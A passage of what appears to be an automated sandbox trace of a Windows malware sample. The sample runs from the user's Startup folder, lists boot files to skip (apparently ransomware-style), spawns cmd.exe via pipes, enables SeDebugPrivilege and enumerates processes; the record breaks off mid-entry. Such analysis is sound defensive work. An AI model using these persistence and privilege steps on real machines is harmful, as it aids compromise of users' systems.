hHeap=0x550000) returned 1 [0194.552] GetProcessHeap () returned 0x550000 [0194.553] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56cd70 | out: hHeap=0x550000) returned 1 [0194.553] GetProcessHeap () returned 0x550000 [0194.553] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56aed8 | out: hHeap=0x550000) returned 1 [0194.553] GetProcessHeap () returned 0x550000 [0194.553] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x561948 | out: hHeap=0x550000) returned 1 [0194.553] GetProcessHeap () returned 0x550000 [0194.553] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a740 | out: hHeap=0x550000) returned 1 [0194.553] GetProcessHeap () returned 0x550000 [0194.553] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ccf8 | out: hHeap=0x550000) returned 1 [0194.553] GetProcessHeap () returned 0x550000 [0194.553] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a8d8 | out: hHeap=0x550000) returned 1 [0194.553] GetProcessHeap () returned 0x550000 [0194.553] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x569d90 [0194.553] GetProcessHeap () returned 0x550000 [0194.553] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x569db8 [0194.553] GetProcessHeap () returned 0x550000 [0194.553] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x569de0 [0194.553] GetProcessHeap () returned 0x550000 [0194.553] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56ccf8 [0194.553] GetProcessHeap () returned 0x550000 [0194.553] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ccf8 | out: hHeap=0x550000) returned 1 [0194.553] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x569db8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0194.553] GetProcessHeap () returned 0x550000 [0194.553] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569de0 | out: hHeap=0x550000) returned 1 [0194.553] GetProcessHeap () returned 0x550000 [0194.553] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569d90 | out: hHeap=0x550000) returned 1 [0194.553] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x1af7f4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x1af7f4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0194.554] GetProcessHeap () returned 0x550000 [0194.554] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569db8 | out: hHeap=0x550000) returned 1 [0194.554] GetProcessHeap () returned 0x550000 [0194.554] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x28) returned 0x56a5a8 [0194.554] GetProcessHeap () returned 0x550000 [0194.554] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x561948 [0194.554] GetProcessHeap () returned 0x550000 [0194.554] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x190) returned 0x56a740 [0194.554] GetProcessHeap () returned 0x550000 [0194.554] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x70) returned 0x56ccf8 [0194.554] GetProcessHeap () returned 0x550000 [0194.554] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x6a) returned 0x56cd70 [0194.554] GetProcessHeap () returned 0x550000 [0194.554] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56cd70, Size=0xd2) returned 0x56a8d8 [0194.554] GetProcessHeap () returned 0x550000 [0194.554] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x184) returned 0x56a9b8 [0194.554] GetProcessHeap () returned 0x550000 [0194.554] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x561990 [0194.554] GetProcessHeap () returned 0x550000 [0194.554] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x56ab48 [0194.554] GetProcessHeap () returned 0x550000 [0194.554] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x250) returned 0x56b4c0 [0194.554] GetProcessHeap () returned 0x550000 [0194.555] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0xa0) returned 0x56ad60 [0194.555] GetProcessHeap () returned 0x550000 [0194.555] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x96) returned 0x56cd70 [0194.555] GetProcessHeap () returned 0x550000 [0194.555] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x96) returned 0x56ae08 [0194.555] GetProcessHeap () returned 0x550000 [0194.555] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56aea8 [0194.555] GetProcessHeap () returned 0x550000 [0194.555] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56aea8 | out: hHeap=0x550000) returned 1 [0194.555] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;spfs.txt", lpDst=0x56cd70, nSize=0x4b | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;spfs.txt") returned 0x4b [0194.555] GetProcessHeap () returned 0x550000 [0194.555] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ae08 | out: hHeap=0x550000) returned 1 [0194.555] GetProcessHeap () returned 0x550000 [0194.555] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ad60 | out: hHeap=0x550000) returned 1 [0194.555] GetProcessHeap () returned 0x550000 [0194.555] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x70) returned 0x56ad60 [0194.555] GetProcessHeap () returned 0x550000 [0194.555] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x62) returned 0x56add8 [0194.555] GetProcessHeap () returned 0x550000 [0194.555] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x62) returned 0x56ae48 [0194.555] GetProcessHeap () returned 0x550000 [0194.555] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56aeb8 [0194.555] GetProcessHeap () returned 0x550000 [0194.555] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56aeb8 | out: hHeap=0x550000) returned 1 [0194.555] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x56add8, nSize=0x31 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\cach") returned 0x34 [0194.556] GetProcessHeap () returned 0x550000 [0194.556] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ae48 | out: hHeap=0x550000) returned 1 [0194.556] GetProcessHeap () returned 0x550000 [0194.556] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56add8, Size=0xc2) returned 0x56add8 [0194.556] GetProcessHeap () returned 0x550000 [0194.556] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0xc2) returned 0x56aea8 [0194.556] GetProcessHeap () returned 0x550000 [0194.556] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56b718 [0194.556] GetProcessHeap () returned 0x550000 [0194.556] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b718 | out: hHeap=0x550000) returned 1 [0194.556] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x56add8, nSize=0x61 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\caches;") returned 0x34 [0194.556] GetProcessHeap () returned 0x550000 [0194.556] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56aea8 | out: hHeap=0x550000) returned 1 [0194.556] GetProcessHeap () returned 0x550000 [0194.556] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ad60 | out: hHeap=0x550000) returned 1 [0194.556] GetProcessHeap () returned 0x550000 [0194.556] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x56b718 [0194.556] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x56b718, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0xa8 [0194.556] GetProcessHeap () returned 0x550000 [0194.556] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b718 | out: hHeap=0x550000) returned 1 [0194.556] GetProcessHeap () returned 0x550000 [0194.556] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x182) returned 0x56b718 [0194.557] GetProcessHeap () returned 0x550000 [0194.557] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x24e) returned 0x56b8a8 [0194.557] GetProcessHeap () returned 0x550000 [0194.557] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x98) returned 0x56aea8 [0194.557] GetProcessHeap () returned 0x550000 [0194.557] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56aea8, Size=0x132) returned 0x56bb00 [0194.557] GetProcessHeap () returned 0x550000 [0194.557] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x6a) returned 0x56ad60 [0194.557] GetProcessHeap () returned 0x550000 [0194.557] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ab48 | out: hHeap=0x550000) returned 1 [0194.557] GetProcessHeap () returned 0x550000 [0194.557] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b4c0 | out: hHeap=0x550000) returned 1 [0194.557] GetProcessHeap () returned 0x550000 [0194.557] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56cd70 | out: hHeap=0x550000) returned 1 [0194.557] GetProcessHeap () returned 0x550000 [0194.557] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56add8 | out: hHeap=0x550000) returned 1 [0194.557] GetProcessHeap () returned 0x550000 [0194.557] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x561948 | out: hHeap=0x550000) returned 1 [0194.557] GetProcessHeap () returned 0x550000 [0194.557] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a740 | out: hHeap=0x550000) returned 1 [0194.557] GetProcessHeap () returned 0x550000 [0194.557] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ccf8 | out: hHeap=0x550000) returned 1 [0194.557] GetProcessHeap () returned 0x550000 [0194.557] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a9b8 | out: hHeap=0x550000) returned 1 [0194.557] GetProcessHeap () returned 0x550000 [0194.558] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x14) returned 0x56ccf8 [0194.558] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xf622ee, lpParameter=0x56ccf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd0 [0194.558] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xf6239a, lpParameter=0x1af82c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa8 [0194.561] GetProcessHeap () returned 0x550000 [0194.561] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x14) returned 0x56cd58 [0194.561] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xf62161, lpParameter=0x56cd58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd4 [0194.562] GetProcessHeap () returned 0x550000 [0194.562] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x14) returned 0x56cd98 [0194.562] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xf61a76, lpParameter=0x56cd98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd8 [0194.563] GetProcessHeap () returned 0x550000 [0194.563] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x14) returned 0x56cdd8 [0194.563] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xf61cc5, lpParameter=0x56cdd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdc [0194.565] WaitForSingleObject (hHandle=0xd8, dwMilliseconds=0xffffffff) Thread: id = 70 os_tid = 0x51c [0194.470] GetProcessHeap () returned 0x550000 [0194.470] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x569d90 [0194.470] GetProcessHeap () returned 0x550000 [0194.470] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x14) returned 0x56ca20 [0194.470] GetProcessHeap () returned 0x550000 [0194.470] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x14) returned 0x56ca40 [0194.470] GetProcessHeap () returned 0x550000 [0194.470] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56ca60 [0194.470] GetProcessHeap () returned 0x550000 [0194.470] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ca60 | out: hHeap=0x550000) returned 1 [0194.470] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x56ca20, nSize=0xa | out: lpDst="") returned 0x1c [0194.470] GetProcessHeap () returned 0x550000 [0194.470] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ca40 | out: hHeap=0x550000) returned 1 [0194.470] GetProcessHeap () returned 0x550000 [0194.470] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56ca20, Size=0x26) returned 0x56ca20 [0194.470] GetProcessHeap () returned 0x550000 [0194.470] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x26) returned 0x56ca50 [0194.471] GetProcessHeap () returned 0x550000 [0194.471] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56ca80 [0194.471] GetProcessHeap () returned 0x550000 [0194.471] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ca80 | out: hHeap=0x550000) returned 1 [0194.471] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x56ca20, nSize=0x13 | out: lpDst="") returned 0x1c [0194.471] GetProcessHeap () returned 0x550000 [0194.471] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ca50 | out: hHeap=0x550000) returned 1 [0194.471] GetProcessHeap () returned 0x550000 [0194.471] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56ca20, Size=0x4a) returned 0x56ca20 [0194.471] GetProcessHeap () returned 0x550000 [0194.471] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x4a) returned 0x56ca78 [0194.471] GetProcessHeap () returned 0x550000 [0194.471] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56cad0 [0194.471] GetProcessHeap () returned 0x550000 [0194.471] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56cad0 | out: hHeap=0x550000) returned 1 [0194.471] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x56ca20, nSize=0x25 | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0194.471] GetProcessHeap () returned 0x550000 [0194.471] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ca78 | out: hHeap=0x550000) returned 1 [0194.471] GetProcessHeap () returned 0x550000 [0194.471] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569d90 | out: hHeap=0x550000) returned 1 [0194.471] GetProcessHeap () returned 0x550000 [0194.471] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x50) returned 0x56ca78 [0194.471] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x770d0000 [0194.471] GetProcAddress (hModule=0x770d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770fd650 [0194.472] Wow64DisableWow64FsRedirection (in: OldValue=0xa9fea4 | out: OldValue=0xa9fea4*=0x0) returned 1 [0194.472] GetProcessHeap () returned 0x550000 [0194.472] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ca78 | out: hHeap=0x550000) returned 1 [0194.472] CreatePipe (in: hReadPipe=0xa9fe98, hWritePipe=0xa9fe94, lpPipeAttributes=0xa9feb4, nSize=0x0 | out: hReadPipe=0xa9fe98*=0xb0, hWritePipe=0xa9fe94*=0xb4) returned 1 [0194.473] CreatePipe (in: hReadPipe=0xa9fe9c, hWritePipe=0xa9fea0, lpPipeAttributes=0xa9feb4, nSize=0x0 | out: hReadPipe=0xa9fe9c*=0xb8, hWritePipe=0xa9fea0*=0xbc) returned 1 [0194.473] SetHandleInformation (hObject=0xb4, dwMask=0x1, dwFlags=0x0) returned 1 [0194.473] SetHandleInformation (hObject=0xb8, dwMask=0x1, dwFlags=0x0) returned 1 [0194.473] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0xa9fed0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb0, hStdOutput=0xbc, hStdError=0xbc), lpProcessInformation=0xa9fec0 | out: lpCommandLine=0x0, lpProcessInformation=0xa9fec0*(hProcess=0x174, hThread=0x170, dwProcessId=0x5fc, dwThreadId=0x5bc)) returned 1 [0195.192] WriteFile (in: hFile=0xb4, lpBuffer=0x56a650*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0xa9feb0, lpOverlapped=0x0 | out: lpBuffer=0x56a650*, lpNumberOfBytesWritten=0xa9feb0*=0xc2, lpOverlapped=0x0) returned 1 [0195.192] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) Thread: id = 71 os_tid = 0x438 [0194.475] GetProcessHeap () returned 0x550000 [0194.475] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x569d90 [0194.475] GetProcessHeap () returned 0x550000 [0194.475] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x14) returned 0x56cca0 [0194.475] GetProcessHeap () returned 0x550000 [0194.475] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x14) returned 0x56ccc0 [0194.475] GetProcessHeap () returned 0x550000 [0194.475] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56cce0 [0194.475] GetProcessHeap () returned 0x550000 [0194.475] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56cce0 | out: hHeap=0x550000) returned 1 [0194.475] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x56cca0, nSize=0xa | out: lpDst="") returned 0x1c [0194.475] GetProcessHeap () returned 0x550000 [0194.475] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ccc0 | out: hHeap=0x550000) returned 1 [0194.475] GetProcessHeap () returned 0x550000 [0194.475] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56cca0, Size=0x26) returned 0x56cca0 [0194.475] GetProcessHeap () returned 0x550000 [0194.475] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x26) returned 0x56ccd0 [0194.475] GetProcessHeap () returned 0x550000 [0194.475] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56cd00 [0194.475] GetProcessHeap () returned 0x550000 [0194.475] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56cd00 | out: hHeap=0x550000) returned 1 [0194.476] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x56cca0, nSize=0x13 | out: lpDst="") returned 0x1c [0194.476] GetProcessHeap () returned 0x550000 [0194.476] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ccd0 | out: hHeap=0x550000) returned 1 [0194.476] GetProcessHeap () returned 0x550000 [0194.476] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56cca0, Size=0x4a) returned 0x56cca0 [0194.476] GetProcessHeap () returned 0x550000 [0194.476] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x4a) returned 0x56ccf8 [0194.476] GetProcessHeap () returned 0x550000 [0194.476] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56cd50 [0194.476] GetProcessHeap () returned 0x550000 [0194.476] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56cd50 | out: hHeap=0x550000) returned 1 [0194.476] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x56cca0, nSize=0x25 | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0194.476] GetProcessHeap () returned 0x550000 [0194.476] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ccf8 | out: hHeap=0x550000) returned 1 [0194.476] GetProcessHeap () returned 0x550000 [0194.476] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569d90 | out: hHeap=0x550000) returned 1 [0194.476] GetProcessHeap () returned 0x550000 [0194.476] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x50) returned 0x56ccf8 [0194.476] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x770d0000 [0194.476] GetProcAddress (hModule=0x770d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770fd650 [0194.476] Wow64DisableWow64FsRedirection (in: OldValue=0xc9f8e4 | out: OldValue=0xc9f8e4*=0x0) returned 1 [0194.476] GetProcessHeap () returned 0x550000 [0194.477] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ccf8 | out: hHeap=0x550000) returned 1 [0194.477] CreatePipe (in: hReadPipe=0xc9f8d8, hWritePipe=0xc9f8d4, lpPipeAttributes=0xc9f8f4, nSize=0x0 | out: hReadPipe=0xc9f8d8*=0xc0, hWritePipe=0xc9f8d4*=0xc4) returned 1 [0194.477] CreatePipe (in: hReadPipe=0xc9f8dc, hWritePipe=0xc9f8e0, lpPipeAttributes=0xc9f8f4, nSize=0x0 | out: hReadPipe=0xc9f8dc*=0xc8, hWritePipe=0xc9f8e0*=0xcc) returned 1 [0194.477] SetHandleInformation (hObject=0xc4, dwMask=0x1, dwFlags=0x0) returned 1 [0194.477] SetHandleInformation (hObject=0xc8, dwMask=0x1, dwFlags=0x0) returned 1 [0194.477] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0xc9f910*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc0, hStdOutput=0xcc, hStdError=0xcc), lpProcessInformation=0xc9f900 | out: lpCommandLine=0x0, lpProcessInformation=0xc9f900*(hProcess=0x188, hThread=0x184, dwProcessId=0x310, dwThreadId=0x5e8)) returned 1 [0195.193] WriteFile (in: hFile=0xc4, lpBuffer=0x56a5e0*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0xc9f8f0, lpOverlapped=0x0 | out: lpBuffer=0x56a5e0*, lpNumberOfBytesWritten=0xc9f8f0*=0x5b, lpOverlapped=0x0) returned 1 [0195.193] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0 [0257.209] GetProcessHeap () returned 0x550000 [0257.209] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x50) returned 0x572470 [0257.210] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x770d0000 [0257.210] GetProcAddress (hModule=0x770d0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x770fd668 [0257.210] Wow64RevertWow64FsRedirection (OlValue=0xc9f8e4) returned 1 [0257.210] GetProcessHeap () returned 0x550000 [0257.210] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572470 | out: hHeap=0x550000) returned 1 [0257.210] CloseHandle (hObject=0x188) returned 1 [0257.210] CloseHandle (hObject=0x184) returned 1 [0257.210] CloseHandle (hObject=0xc0) returned 1 [0257.210] CloseHandle (hObject=0xc4) returned 1 [0257.210] CloseHandle (hObject=0xc8) returned 1 [0257.211] CloseHandle (hObject=0xcc) returned 1 [0257.211] GetProcessHeap () returned 0x550000 [0257.211] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56cca0 | out: hHeap=0x550000) returned 1 [0257.211] GetProcessHeap () returned 0x550000 [0257.211] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a5e0 | out: hHeap=0x550000) returned 1 Thread: id = 72 os_tid = 0x404 [0194.588] GetProcessHeap () returned 0x550000 [0194.588] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x440) returned 0x56bc40 [0194.588] GetProcessHeap () returned 0x550000 [0194.588] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x30) returned 0x56b6d0 [0194.588] GetCurrentProcess () returned 0xffffffff [0194.588] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xdaf940 | out: TokenHandle=0xdaf940*=0xe0) returned 1 [0194.588] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0xdaf938 | out: lpLuid=0xdaf938*(LowPart=0x14, HighPart=0)) returned 1 [0194.625] AdjustTokenPrivileges (in: TokenHandle=0xe0, DisableAllPrivileges=0, NewState=0xdaf928*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0194.625] CloseHandle (hObject=0xe0) returned 1 [0194.625] GetProcessHeap () returned 0x550000 [0194.625] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b6d0 | out: hHeap=0x550000) returned 1 [0194.626] GetProcessHeap () returned 0x550000 [0194.626] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x434) returned 0x572d00 [0194.626] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0194.629] Process32FirstW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0194.630] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0194.630] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0194.631] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0194.631] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0194.632] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: 